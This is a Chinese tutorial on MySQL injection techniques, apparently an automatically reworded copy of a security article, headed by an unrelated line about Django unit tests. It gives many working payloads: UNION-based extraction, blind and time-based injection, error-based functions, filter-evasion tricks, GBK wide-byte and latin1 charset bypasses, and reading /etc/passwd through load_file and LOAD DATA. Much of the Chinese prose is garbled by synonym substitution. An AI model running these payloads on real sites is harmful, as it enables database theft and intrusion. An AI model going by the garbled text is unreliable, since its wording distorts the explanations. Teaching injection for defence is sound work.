对MYSQL注入相关内容及部门Trick的归类小结
编写 Django 应用单元测试
媒介
近来在给学校的社团成员举行web平安方面的培训,由于在mysql注入这一块学问点挺杂的,入门轻易,通晓较难,网上相对照较全的材料也比较少,大多都是一个比较散的学问点,所以我盘算将我在进修历程当中碰到的关于的mysql注入的内容给悉数排列出来,既轻易个人以后的温习,也轻易后人查找相干材料。
本文部份内容大概会直接截取其他大牛的文章,截取的内容我都邑举行声明处置惩罚。若有侵权,请发email联络我(asp-php#foxmail.com)删除。
本文首发于先知社区,转载需申明泉源+作者ID:Yunen。
Mysql简介
在正式解说mysql注入的内容前,我以为照样有必要申明一下什么是mysql、mysql的特征是什么等内容,这些东西看起来大概对注入毫无协助,入手下手却能很好的协助我们进修,举一反三。
MySQL是一个关联型数据库治理体系,由瑞典 MySQL AB 公司开发,如今属于 Oracle 公司。MySQL 是一种关联数据库治理体系,关联数据库将数据保留在差别的表中,而不是将一切数据放在一个大仓库内,如许就增添了速率并提高了天真性。
- MySQL是开源的,所以你不须要付出分外的用度。
- MySQL应用范例的 SQL 数据言语情势。
- MySQL可以运转于多个体系上,而且支撑多种言语。这些编程言语包括 C、C++、Python、Java、Perl、PHP、Eiffel、Ruby 和 Tcl 等。
- MySQL对PHP有很好的支撑,PHP 是如今最盛行的 Web 开发言语。
- MySQL支撑大型数据库,支撑 5000 万条纪录的数据仓库,32 位体系表文件最大可支撑 4GB,64 位体系支撑最大的表文件为8TB。
- MySQL是可以定制的,采纳了 GPL 协定,你可以修正源码来开发自身的 MySQL 体系。
引自:Mysql教程 | 菜鸟教程
一个完全的mysql治理体系组织平常以下图:
可以看到,mysql可以治理多个数据库,一个数据库可以包括多个数据表,而一个数据表有含有多条字段,一行数据恰是多个字段一致行的一串数据。
什么是SQL注入?
简朴的来讲,SQL注入是开发者没有对用户的输入数据举行严厉的限定/转义,致应用户在输入一些特定的字符时,在与后端设定的sql语句举行拼接时发作了歧义,使得用户可以掌握该条sql语句与数据库举行通讯。
举个例子:
<?php
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = @$_POST['username'];
$password = @$_POST['password'];
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
echo "success";
}else{
echo "fail";
}
?>
上述代码将模仿一个web应用程序举行登录操纵。若登录胜利,则返回success,不然,返回fail。
平常平经常使用户举行登录的sql语句为:
select * from users where username = '$username' and password='$password'
个中,变量$username 与变量$password为用户可以掌握的内容,平常状况下,用户所输入的内容在sql语义上都将作为字符错,被赋值给前边的字段来当作整条select查询语句的挑选条件。
若用户输入的$username为admin'#
,$password为123
。那末拼接到sql语句中将获得以下效果:
select * from users where username = 'admin'#' and password='123'
这里的#
是单行诠释符,可以将后边的内容给诠释掉。那末此条语句的语义将发作了变化,用户可以不须要推断暗码,只需一个用户名,即可完成登录操纵,这与开发者的初志相悖。
Mysql注入-入门
我们晓得,在数据库中,罕见的对数据举行处置惩罚的操纵有:增、删、查、改这四种。
每一项操纵都具有差别的作用,配合构成了对数据的绝大部份操纵。
- 增。望文生义,也就是增添数据。在通用的SQL语句中,其简朴组织平常可概述为:
INSERT table_name(columns_name) VALUES(new_values)
。 - 删。删除数据。简朴组织为:
DELETE table_name WHERE condition
。 - 查。查询语句可以说是绝大部份应用程序最经常使用到的SQL语句,他的作用就是查找数据。其简朴组织为:
SELECT columns_name FROM table_name WHERE condition
。 - 改。有修正/更新数据。简朴组织为:
UPDATE table_name SET column_name=new_value WHERE condition
。
PS:以上SQL语句中,体系关键字悉数举行了大写处置惩罚。
查
mysql的查询语句完全花样以下:
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
平常注入点发作在where_condition处,并非说惟有此处可以注入,其他的位置也可以,只是我们先将此处的注入当作例子来举行解说,以后会逐步降到其他的位置该如何举行注入。
关于SELECT
语句,我们平常分其为两种状况:有回显和无回显。
有回显
什么叫有回显?别急,我们来举个例子。
当我们点击一篇文章阅读时,其URL为read.php?id=1
,我们可以很轻易地猜出其SQL语句大概为select * from articles where id='$id'
。
这时候刻页面将SQL语句返回的内容显如今了页面中(本例中是标题、内容、作者等信息),这类状况就叫有回显。
关于有回显的状况来讲,我们平常应用团结查询注入法。
团结查询注入
其作用就是,在本来查询条件的基本上,经由历程体系关键字union
从而拼接上我们自身的select
语句,后个select
获得的效果将拼接到前个select
的效果后边。如:前个select
获得2条数据,后个select
获得1条数据,那末后个select
的数据将作为第3条拼接到第一个select
返回的内容中,其字段名将根据位置关联举行继承。
如:平常查询语句 union select columns_name from (database.)table_name where condition
这里须要注重的是:
- 若回显仅支撑一行数据的话,记得让前边平常的查询语句返回的效果为空。
- 应用union select举行拼接时,注重前后两个select语句的返回的字段数必需雷同,不然没法拼接。
无回显
什么叫无回显?之前举得登录推断就是一个无回显的例子。假如SQL语句存在返回的数据,那末页面输出为success,若不存在返回的数据,则输出fail。
与有回显状况差别的是:无回显的页面输出内容并非SQL语句返回的内容。
关于无回显的状况,我们平常可用两种要领举行注入:报错注入与盲注。
报错注入
什么是报错注入,简朴的说,就是有些特别的函数,会在其报错信息里大概会返回其参数的值。
我们可以应用这一特征,在其参数放入我们想要获得的数据,平常应用子查询的要领完成,末了让其报错并输出效果。
平常语句 (where | and) exp(~(select * from(select user())a));
平常语句 (where | and) updatexml(1,concat(0x7e,(select user()),0x7e),1);
盲注
若网站设置了无报错信息返回,那末在不直接返回数据+不返回报错信息的状况下,盲注便险些成了末了一种直接注入取数据的要领了。
个中,盲注分红布尔盲注和时刻盲注。
布尔盲注
关于布尔盲注来讲,其应用的场景在于:对真/假条件返回的内容很轻易辨别。
比如说,有这么一条平常的select语句,我们复兴where条件后边加上and 1=2,我们晓得,1永久不即是2,那末这个条件就是一个永假条件,我们应用and语句连上,那末全部where部份就是永假的,这时候刻select语句是不会返回内容的。将其返回的内容与平常页面举行对照,假如很轻易辨别的话,那末布尔盲注试用。
如:平常语句 (where | and) if(substr((select password from users where username='admin'),1,1)='a',1,0)
##### 时刻盲注
相比较于布尔盲注,时刻盲注依赖于经由历程页面返回的耽误时刻来推断条件是不是准确。
应用场景:布尔盲注永假条件所返回的内容与平常语句返回的内容很靠近/雷同,没法推断状况。
简朴的来讲,时刻盲注就是,假如我们自定义的条件为假的话,我们让其0耽误经由历程,假如条件为真的话,应用sleep()等函数,让sql语句的返回发作耽误。
如:平常语句(where | and)if(substr((select password from users where username='admin'),1,1)='a',sleep(3),1)
末了总结一下:
罕见注入要领有三种:团结查询注入、报错注入、盲注
,个中:
- 有回显:三种都可应用,引荐应用团结查询注入。
- 无回显:报错注入+盲注可用。
关于时刻本钱来讲:团结查询注入<报错注入<<盲注。
平常状况下,盲注须要一个一个字符的举行推断。这极大的增添了时刻本钱,何况关于时刻盲注来讲,还须要分外的耽误时刻来作为推断的范例。
三大注入的基本步骤
团结查询注入步骤
1) 起首,先肯定字段数目。
应用order/group by
语句。经由历程往后边拼接数字,可肯定字段数目,若大于,则页面毛病/无内容,若小于或即是,则页面平常。若毛病页与平常页一样,替代报错注入/盲注。
2) 第二步,推断页面回显数据的字段位置。
应用union select 1,2,3,4,x...
我们定义的数字将显如今页面上,即可从中推断页面显现的字段位置。
注重:
- 若肯定页面有回显,然则页面中并没有我们定义的特别标记数字涌现,多是页面如今了单行数据输出,我们让前边的
select
查询条件返回效果为空即可。 - 注重一定要拼接够充足的字段数,不然SQL语句报错。PS:此要领也可作为推断前条
select
语句的要领之一。
3) 第三步,在显现的字段位置应用子查询来查询数据,或直接查询也可。
起首,查询当前数据库名database()、数据库账号user()、数据库版本version()等基本状况,再根据差别的版本、差别的权限肯定接下来的要领。
若Mysql版本<5.0
简朴的说,由于mysql的低版本缺少体系库information_schema,故平常状况下,我们没法直接查询表名,字段(列)名等信息,这时候刻只能靠猜来处理。
直接猜表名与列名是什么,以至是库名,再应用团结查询取数据。
若晓得仅表名而不晓得列(字段)名:
可经由历程以下payload:
- 若多字段:select `x` from(select 1,2,3,4,xxx from table_name union select * from table_name)a
- 若单字段:select *,1,2,xxx from table_name
若Mysql版本>=5.0
起首去一个名为information_schema的数据库里的shemata数据表查询悉数数据库名。
若不须要跨数据库的话,可直接跳过此步骤,直接查询相应的数据库下的悉数数据表名。
在information_schema的一个名为tables的数据表中存着悉数的数据表信息。
个中,table_name 字段保留其称号,table_schema保留其对应的数据库名。
union select 1,2,group_concat(table_name),4,xxxx from information_schema.tables where table_schema=database();
上述payload可检察悉数的数据表名,个中group_concat函数将多行数据转成一行数据。
接着经由历程其表名,查询该表的一切字段名,偶然也称列名。
经由历程information_schema库下的columns表可查询对应的数据库/数据库表含有的字段名。
Union select 1,2,group_concat(column_name),4,xxxx from information_schema.columns where table_schema=database() and table_name=(table_name)#此处的表名为字符串型,也经由历程十六进制示意
晓得了想要的数据寄存的数据库、数据表、字段名,直接团结查询即可。
Union select 1,2,column_name,4,xxx from (database_name.)table_name
简朴的说,查库名->查表名->查字段名->查数据
盲注步骤:
中心:应用逻辑代数衔接词/条件函数,让页面返回的内容/相应时刻与平常的页面不符。
布尔盲注:
起首经由历程页面关于永真条件or 1=1
与永假条件and 1=2
的返回内容是不是存在差别举行推断是不是可以举行布尔盲注。
如:select * from users where username=$username
,其作用设定为推断用户名是不是存在。
平常仅返回存在/不存在,两个效果。
这时候刻我们就不能应用团结查询法注入,由于页面显现SQL语句返回的内容,只能应用盲注法/报错注入法来注出数据。
我们在将语句注入成:select * from users where username=$username or (condition)
若后边拼接的条件为真的话,那末整条语句的where地区将变成永真条件。
那末,纵然我们在$username处输入的用户名为一个铁定不存在的用户名,那末返回的效果也依然为存在。
应用这一特征,我们的condition为:length(database())>8 即可用于推断数据库名长度
除此以外,还可:ascii(substr(database(),1,1))<130 用二分法疾速猎取数据名(逐字推断)
payload以下:
select * from users where username=nouser or length(database())>8
select * from users where username=nouser or ascii(substr(database(),1,1))<130
时刻盲注:
经由历程推断页面返回内容的相应时刻差别举行条件推断。
平常可应用的发作时刻耽误的函数有:sleep()、benchmark(),另有许多举行庞杂运算的函数也可以当作耽误的推断范例、笛卡尔积兼并数据表、GET_LOCK双SESSION发作耽误等要领。
如上述例子:若效劳器在实行永真/永假条件并不直接返回两个轻易辨别的内容时,应用时刻盲注或许是个更好的方法。
在上述语句中,我们拼接语句,变成:
select * from users where username=$username (and | or) if(length(database())>8,sleep(3),1)
假如数据库名的长度大于8,那末if条件将实行sleep(3),那末此条语句将举行耽误3秒的操纵。
若小于或即是8,则if条件直接返回1,并与前边的逻辑衔接词拼接,无耽误直接返回。平常的相应时刻在0-1秒以内,与上种状况具有很轻易辨别的效果,可做条件推断的根据。
报错注入步骤:
经由历程特别函数的毛病应用使其参数被页面输出。
条件:效劳器开启报错信息返回,也就是发作毛病时返回报错信息。
罕见的应用函数有:exp()、floor()+rand()、updatexml()、extractvalue()
等
如:select * from users where username=$username (and | or) updatexml(1,concat(0x7e,(select user()),0x7e),1)
由于updatexml函数的第二个参数须要满足xpath花样,我们在其前后增加字符~,使其不满足xpath花样,举行报错并输出。
将上述payload的(select user())当作团结查询法的注入位置,接下来的操纵与团结查询法一样。
注重:
- 报错函数平常特别最长报错输出的限定,面临这类状况,可以举行支解输出。
- 特别函数的特别参数进运转一个字段、一行数据的返回,应用group_concat等函数聚合数据即可。
增、删、改
可简朴当作无回显的Select语句举行注入。值得注重的是,平常增insert
处的注入点在测试时会发作大批的垃圾数据,删delete处的注入万万要注重where条件不要为永真。
Mysql注入-进阶
到如今为止,我们讲了Mysql注入的基本入门,那末接下来我将会消费大部份时刻引见我进修mysql注入碰到的一些学问点。
罕见防备手腕绕过
在讲绕过之前,我以为有必要先讲讲什么是:过滤与阻拦。
简朴的说就是:过滤指的是,我们输入的部份内容在拼接SQL语句之前被程序删除掉了,接着将过滤以后的内容拼接到SQL语句并继承与数据库通讯。而阻拦指的是:若检测到指定的内容存在,则直接返回阻拦页面,同时不会举行拼接SQL语句并与数据库通讯的操纵。
若程序设置的是过滤,则若过滤的字符不为单字符,则可以应用双写绕过。
举个例子:程序过滤掉了union
这一关键词,我们可以应用ununionion
来绕过。
PS:平常检测要领都是应用的正则,注重视察正则婚配时,是不是疏忽大小写婚配,若不疏忽,直接应用大小写混搭即可绕过。
and/or 被过滤/阻拦
- 双写
anandd、oorr
- 应用运算符替代
&&、||
- 直接拼接
=
号,如:?id=1=(condition)
- 其他要领,如:
?id=1^(condition)
空格被过滤/阻拦
- 多层括号嵌套
- 改用+号
- 应用诠释替代
and/or
背面可以跟上偶数个!、~
可以替代空格,也可以夹杂应用(规律又差别),and/or前的空格可用省略%09, %0a, %0b, %0c, %0d, %a0
等部份不可见字符可也替代空格
如:select * from user where username='admin'union(select+title,content/**/from/*!article*/where/**/id='1'and!!!!~~1=1)
括号被过滤/阻拦
- order by 大小比较盲注
逗号被过滤/阻拦
- 改用盲注
- 应用join语句替代
substr(data from 1 for 1)
相当于substr(data,1,1)
、limit 9 offset 4
相当于limt 9,4
其他体系关键字被过滤/阻拦
- 双写绕过关键字过滤
- 应用同义函数/语句替代,如if函数可用
case when condition then 1 else 0 end
语句替代。
单双引号被过滤/阻拦/转义
- 须要跳出单引号的状况:尝试是不是存在编码问题而发作的SQL注入。
- 不须要跳出单引号的状况:字符串可用十六进制示意、也可经由历程进制转换函数示意成其他进制。
数字被过滤/阻拦
下表摘自MySQL注入技能
替代字符 | 数 | 替代字符 | 数、字 | 替代字符 | 数、字 |
---|---|---|---|---|---|
false、!pi() | 0 | ceil(pi()*pi()) | 10|A | ceil((pi()+pi())*pi()) | 20|K |
true、!(!pi()) | 1 | ceil(pi()*pi())+true | 11|B | ceil(ceil(pi())*version()) | 21|L |
true+true | 2 | ceil(pi()+pi()+version()) | 12|C | ceil(pi()*ceil(pi()+pi())) | 22|M |
floor(pi())、~~pi() | 3 | floor(pi()*pi()+pi()) | 13|D | ceil((pi()+ceil(pi()))*pi()) | 23|N |
ceil(pi()) | 4 | ceil(pi()*pi()+pi()) | 14|E | ceil(pi())*ceil(version()) | 24|O |
floor(version()) //注重版本 | 5 | ceil(pi()*pi()+version()) | 15|F | floor(pi()*(version()+pi())) | 25|P |
ceil(version()) | 6 | floor(pi()*version()) | 16|G | floor(version()*version()) | 26|Q |
ceil(pi()+pi()) | 7 | ceil(pi()*version()) | 17|H | ceil(version()*version()) | 27|R |
floor(version()+pi()) | 8 | ceil(pi()*version())+true | 18|I | ceil(pi()pi()pi()-pi()) | 28|S |
floor(pi()*pi()) | 9 | floor((pi()+pi())*pi()) | 19|J | floor(pi()pi()floor(pi())) | 29|T |
编码转换发作的问题
宽字节注入
什么是宽字节注入?下面举个例子来通知你。
<?php
$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$conn->query("set names 'gbk';");
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
echo $sql.'<br>';
if($rs->fetch_row()){
echo "success";
}else{
echo "fail";
}
?>
照样开头的例子,只不过加了点料。
$conn->query("set names 'gbk';");
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
addslashes
函数将会把POST吸收到的username与password的部份字符举行转义处置惩罚。以下:
- 字符
'、"、
前边会被增加上一条反斜杠作为转义字符。
- 多个空格被过滤成一个空格。
这使得我们底本的payload被转义成以下:
select * from users where username = 'admin'#' and password='123';
注重:我们输入的单引号被转义掉了,此时SQL语句的功用是:查找用户名为admin'#
且暗码为123的用户。
然则我们注重到,在拼接SQL语句并与数据库举行通讯之前,我们实行了这么一条语句:
$conn->query("set names 'gbk';");
其作用相当于:
mysql>SET character_set_client ='gbk';
mysql>SET character_set_results ='gbk';
mysql>SET character_set_connection ='gbk';
当我们输入的数据为:username=%df%27or%201=1%23&password=123
经由addslashes函数处置惩罚终究变成:username=%df%5c%27or%201=1%23&password=123
经由gbk解码获得:username=运'or 1=1#
、password=123
,拼接到SQL语句得:
select * from users where username = '运'or 1=1#' and password='123';
胜利跳出了addslashes的转义限定。
详细诠释
前边提到:set names 'gbk';
相当于实行了以下操纵:
mysql>SET character_set_client ='gbk';
mysql>SET character_set_results ='gbk';
mysql>SET character_set_connection ='gbk';
那末此时在SQL语句在与数据库举行通讯时,会先将SQL语句举行对应的character_set_client
所设置的编码举行转码,本例是gbk编码。
由于PHP的编码为UTF-8
,我们输入的内容为%df%27
,会被当作是两个字符,个中%27
为单引号'
。
经由函数addslashes
处置惩罚变成%df%5c%27
,%5c
为反斜线。
在经由客户端层character_set_client
编码处置惩罚后变成:运'
,胜利将反斜线给“吞”掉了,使单引号逃逸出来。
Latin1默许编码
讲完了gbk形成的编码问题,我们再讲讲latin1形成的编码问题。
老样子,先举个例子。
<?php
//该代码节选自:告别歌's blog
$mysqli = new mysqli("localhost", "root", "root", "cat");
/* check connection */
if ($mysqli->connect_errno) {
printf("Connect failed: %sn", $mysqli->connect_error);
exit();
}
$mysqli->query("set names utf8");
$username = addslashes($_GET['username']);
//我们在其基本上增加这么一条语句。
if($username === 'admin'){
die("You can't do this.");
}
/* Select queries return a resultset */
$sql = "SELECT * FROM `table1` WHERE username='{$username}'";
if ($result = $mysqli->query( $sql )) {
printf("Select returned %d rows.n", $result->num_rows);
while ($row = $result->fetch_array(MYSQLI_ASSOC))
{
var_dump($row);
}
/* free result set */
$result->close();
} else {
var_dump($mysqli->error);
}
$mysqli->close();
?>
建表语句以下:
CREATE TABLE `table1` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(255) COLLATE latin1_general_ci NOT NULL,
`password` varchar(255) COLLATE latin1_general_ci NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
我们设置表的编码为latin1,事实上,就算你不填写,默许编码就是latin1。
我们往表中增加一条数据:insert table1 VALUES(1,'admin','admin');
注重检察源代码:
if($username === 'admin'){
die("You can't do this.");
}
我们对用户的输入举行了推断,若输入内容为admin,直接终了代码输出返回,而且还对输出的内容举行addslashes处置惩罚,使得我们没法逃逸出单引号。
如许的话,我们该如何绕过这个限定,让页面输出admin的数据呢?
我们注重到:$mysqli->query("set names utf8");
这么一行代码,在衔接到数据库以后,实行了这么一条SQL语句。
上边在gbk宽字节注入的时刻讲到过:set names utf8;
相当于:
mysql>SET character_set_client ='utf8';
mysql>SET character_set_results ='utf8';
mysql>SET character_set_connection ='utf8';
前边说道:PHP的编码是UTF-8
,而我们如今设置的也是UTF-8
,怎样会发作问题呢?
别着急,让我接着往下说。前边我们提到:SQL语句会先转成character_set_client
设置的编码。但,他接下来还会继承转换。character_set_client
客户端层转换终了以后,数据将会交给character_set_connection
衔接层处置惩罚,末了在从character_set_connection
转到数据表的内部操纵字符集。
来本例中,字符集的转换为:UTF-8—>UTF-8->Latin1
这里须要讲一下UTF-8编码的一些内容。
UTF-8编码是变长编码,大概有1~4个字节示意:
- 一字节时局限是
[00-7F]
- 两字节时局限是
[C0-DF][80-BF]
- 三字节时局限是
[E0-EF][80-BF][80-BF]
- 四字节时局限是
[F0-F7][80-BF][80-BF][80-BF]
然后根据RFC 3629范例,又有一些字节值是不许可涌如今UTF-8编码中的:
所以终究,UTF-8第一字节的取值局限是:00-7F、C2-F4。
关于一切的UTF-8字符,你可以在这个表中一一看到: http://utf8-chartable.de/unicode-utf8-table.pl
引自:Mysql字符编码应用技能
应用这一特征,我们输入:?username=admin%c2
,%c2
是一个Latin1字符集不存在的字符。
由上述,可以简朴的晓得:%00-%7F可以直接示意某个字符、%C2-%F4不可以直接示意某个字符,他们只是其他长字节编码效果的首字节。
然则,这里另有一个Trick:Mysql所应用的UTF-8编码是阉割版的,仅支撑三个字节的编码。所以说,Mysql中的UTF-8字符集只要最大三字节的字符,首字节局限:00-7F、C2-EF
。
而关于不完全的长字节UTF-8编码的字符,若举行字符集转换时,会直接举行疏忽处置惩罚。
应用这一特征,我们的payload为?username=admin%c2
,此处的%c2
换为%c2-%ef
都可。
SELECT * FROM `table1` WHERE username='admin'
由于admin%c2
在末了一层的内部操纵字符集转换中变成admin
。
报错注入道理
我们前边说到,报错注入是经由历程特别函数毛病应用并使其输出毛病效果来猎取信息的。
那末,我们详细来讲说,都有哪些特别函数,以及他们都该怎样应用。
MySQL的报错注入主如果应用MySQL的一些逻辑破绽,如BigInt大数溢出等,由此可以将MySQL报错注入分为以下几类:
- BigInt等数据类型溢出
- 函数参数花样毛病
- 主键/字段反复
exp()
函数语法:exp(int)
实用版本:5.5.5~5.5.49
该函数将会返回e的x次方效果。平常以下图:
为何会报错呢?我们晓得,次方到后边每增添1,其效果都将跨度极大,而mysql能纪录的double数值局限有限,一旦效果凌驾局限,则该函数报错。以下图:
我们的payload为:exp(~(select * from(select user())a))
个中,~标记为运算符,意义为一元字符反转,平常将字符串经由处置惩罚后变成大整数,再放到exp函数内,获得的效果将凌驾mysql的double数组局限,从而报错输出。至于为何须要用两层子查询,这点我暂时还没有弄邃晓,迎接有相识的大牛找我议论: )
除了exp()
以外,另有类似pow()
之类的类似函数一样是可应用的,他们的道理雷同。
updatexml()
函数语法:updatexml(XML_document, XPath_string, new_value);
实用版本: 5.1.5+
我们平常在第二个xpath参数填写我们要查询的内容。
与exp()差别,updatexml是由于参数的花样不准确而发作的毛病,一样也会返回参数的信息。
payload: updatexml(1,concat(0x7e,(select user()),0x7e),1)
前后增加~使其不符合xpath花样从而报错。
extractvalue()
函数语法:EXTRACTVALUE (XML_document, XPath_string);
实用版本:5.1.5+
应用道理与updatexml函数雷同
payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
rand()+group()+count()
假造表报错道理:简朴来讲,是由于where条件每实行一次,rand函数就会实行一次,假如在由于在统计数据时推断根据不能动态转变,故rand()
不能后接在order/group by
上。
举一个例子:假定user表有三条数据,我们经由历程:select * from user group by username
来经由历程个中的username字段举行分组。
此历程会先竖立一个假造表,存在两个字段:key,count
个中我们经由历程username来推断,其在此处是字段,起首先取第一行的数据:username=test&password=test
username为test涌现一次,则如今虚表内查询是不是存在test,若存在,则count+1,若不存在,则增加test,其count为1。
关于floor(rand(0)*2)
,个中rand()
函数,会生成0~1之间随机一个小数、floor()
取整数部份、0是随机因子、乘2是为了让大于0.5的小数经由历程floor函数得1,不然永久为0。
若表中有三行数据:我们经由历程select * from user group by floor(rand(0)*2)
举行排序的话。
注重,由于rand(0)
的随机因子是被牢固的,故其发作的随机数也被牢固了,次序为:011011…
起首group by
须要实行的话,须要肯定分组因子,故floor(rand(0)*2)
被实行一次,获得的效果为0,接着在虚表内检索0,发明虚表没有键值为0的纪录,故增加上,在举行增加时:floor(rand(0)*2)
第二次被实行,获得效果1,故虚表插进去的内容为key=1&count=1
。
第二次实行group by时:floor(rand(0)*2)
先被运转一次,也就是第三次运转。获得效果1,查询虚表发明数据存在,因此直接让虚表内的key=1的count加一即可,floor(..)只运转了一次。
第三次实行group by时,floor被实行第四次,获得效果0,查询虚表不存在。再插进去虚表时,floor(…)被实行第五次,获得效果1,故此时虚表将插进去的值为key=1&count=1
,注重,此时虚表已有一条纪录为:key=1&count=2
,而且字段key为主键,具有不可反复性,故虚表在尝试插进去时将发作毛病。
图文:
1.查询前默许会竖立空假造表以下图:
2.取第一条纪录,实行floor(rand(0)2),发明效果为0(第一次盘算),查询假造表,发明0的键值不存在,则floor(rand(0)2)会被再盘算一次,效果为1(第二次盘算),插进去虚表,这时候第一条纪录查询终了,以下图:
3.查询第二条纪录,再次盘算floor(rand(0)2),发明效果为1(第三次盘算),查询虚表,发明1的键值存在,所以floor(rand(0)2)不会被盘算第二次,直接count(*)加1,第二条纪录查询终了,效果以下:
4.查询第三条纪录,再次盘算floor(rand(0)2),发明效果为0(第4次盘算),查询虚表,发明键值没有0,则数据库尝试插进去一条新的数据,在插进去数据时floor(rand(0)2)被再次盘算,作为虚表的主键,其值为1(第5次盘算),但是1这个主键已存在于假造表中,而新盘算的值也为1(主键键值必需唯一),所以插进去的时刻就直接报错了。
5.全部查询历程floor(rand(0)*2)被盘算了5次,查询原数据表3次,所以这就是为何数据表中须要3条数据,应用该语句才会报错的缘由。
引自:——Mysql报错注入道理剖析(count()、rand()、group by)
payload用法: union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a
多少函数
- GeometryCollection:
id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
- polygon():
id=1 AND polygon((select * from(select * from(select user())a)b))
- multipoint():
id=1 AND multipoint((select * from(select * from(select user())a)b))
- multilinestring():
id=1 AND multilinestring((select * from(select * from(select user())a)b))
- linestring():
id=1 AND LINESTRING((select * from(select * from(select user())a)b))
- multipolygon() :
id=1 AND multipolygon((select * from(select * from(select user())a)b))
不存在的函数
随意实用一颗不存在的函数,大概会获得当前地点的数据库称号。
Bigint数值操纵:
当mysql数据库的某些边境数值举行数值运算时,会报错的道理。
如~0获得的效果:18446744073709551615
若此数介入运算,则很轻易会毛病。
payload: select !(select * from(select user())a)-~0;
name_const()
仅可取数据库版本信息
payload: select * from(select name_const(version(),0x1),name_const(version(),0x1))a
uuid相干函数
实用版本:8.0.x
参数花样不准确。
mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));
mysql> SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));
join using()注列名
经由历程体系关键词join可竖立两个表之间的内衔接。
经由历程对想要查询列名的表与其自身发起内衔接,会由于冗余的缘由(雷同列名存在),而发作毛病。
而且报错信息会存在反复的列名,可以应用 USING 表达式声明内衔接(INNER JOIN)条件来防备报错。
mysql>select * from(select * from users a join (select * from users)b)c;
mysql>select * from(select * from users a join (select * from users)b using(username))c;
mysql>select * from(select * from users a join (select * from users)b using(username,password))c
GTID相干函数
参数花样不准确。
mysql>select gtid_subset(user(),1);
mysql>select gtid_subset(hex(substr((select * from users limit 1,1),1,1)),1);
mysql>select gtid_subtract((select * from(select user())a),1);
报错函数速查表
注:默许MYSQL_ERRMSG_SIZE=512
种别 | 函数 | 版本需求 | 5.5.x | 5.6.x | 5.7.x | 8.x | 函数显错长度 | Mysql报错内容长度 | 分外限定 |
---|---|---|---|---|---|---|---|---|---|
主键反复 | floor round | ️ | ️ | ️ | 64 | data_type ≠ varchar | |||
列名反复 | name_const | ️ | ️ | ️ | ️ | only version() | |||
列名反复 | join | [5.5.49, ?) | ️ | ️ | ️ | ️ | only columns | ||
数据溢出 - Double | 1e308 cot exp pow | [5.5.5, 5.5.48] | ️ | MYSQL_ERRMSG_SIZE | |||||
数据溢出 - BIGINT | 1+~0 | [5.5.5, 5.5.48] | ️ | MYSQL_ERRMSG_SIZE | |||||
多少对象 | geometrycollection linestring multipoint multipolygon multilinestring polygon | [?, 5.5.48] | ️ | 244 | |||||
空间函数 Geohash | ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash | [5.7, ?) | ️ | ️ | 128 | ||||
GTID | gtid_subset gtid_subtract | [5.6.5, ?) | ️ | ️ | ️ | 200 | |||
JSON | json_* | [5.7.8, 5.7.11] | ️ | 200 | |||||
UUID | uuid_to_bin bin_to_uuid | [8.0, ?) | ️ | 128 | |||||
XPath | extractvalue updatexml | [5.1.5, ?) | ️ | ️ | ️ | ️ | 32 |
摘自——Mysql 注入基本小结
文件读/写
我们晓得Mysql是很天真的,它支撑文件读/写功用。在讲这之前,有必要引见下什么是file_priv
和secure-file-priv
。
简朴的说:file_priv
是关于用户的文件读写权限,若无权限则不能举行文件读写操纵,可经由历程下述payload查询权限。
select file_priv from mysql.user where user=$USER host=$HOST;
secure-file-priv
是一个体系变量,关于文件读/写功用举行限定。详细以下:
- 无内容,示意无限定。
- 为NULL,示意制止文件读/写。
- 为目次名,示意仅许可对特定目次的文件举行读/写。
注:5.5.53自身及以后的版本默许值为NULL,之前的版本无内容。
三种要领检察当前secure-file-priv
的值:
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";
修正:
- 经由历程修正my.ini文件,增加:
secure-file-priv=
- 启动项增加参数:
mysqld.exe --secure-file-priv=
读
Mysql读取文件平常应用load_file函数,语法以下:
select load_file(file_path);
第二种读文件的要领:
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY 'n'; #读取效劳端文件
第三种:
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY 'n'; #读取客户端文件
限定:
- 前两种须要
secure-file-priv
无值或为有益目次。 - 都须要晓得要读取的文件地点的相对途径。
- 要读取的文件大小必需小于
max_allowed_packet
所设置的值
低权限读取文件
5.5.53secure-file-priv=NULL
读文件payload,mysql8测试失利,其他版本自测。
drop table mysql.m1;
CREATE TABLE mysql.m1 (code TEXT );
LOAD DATA LOCAL INFILE 'D://1.txt' INTO TABLE mysql.m1 fields terminated by '';
select * from mysql.m1;
Mysql衔接数据库时可读取文件
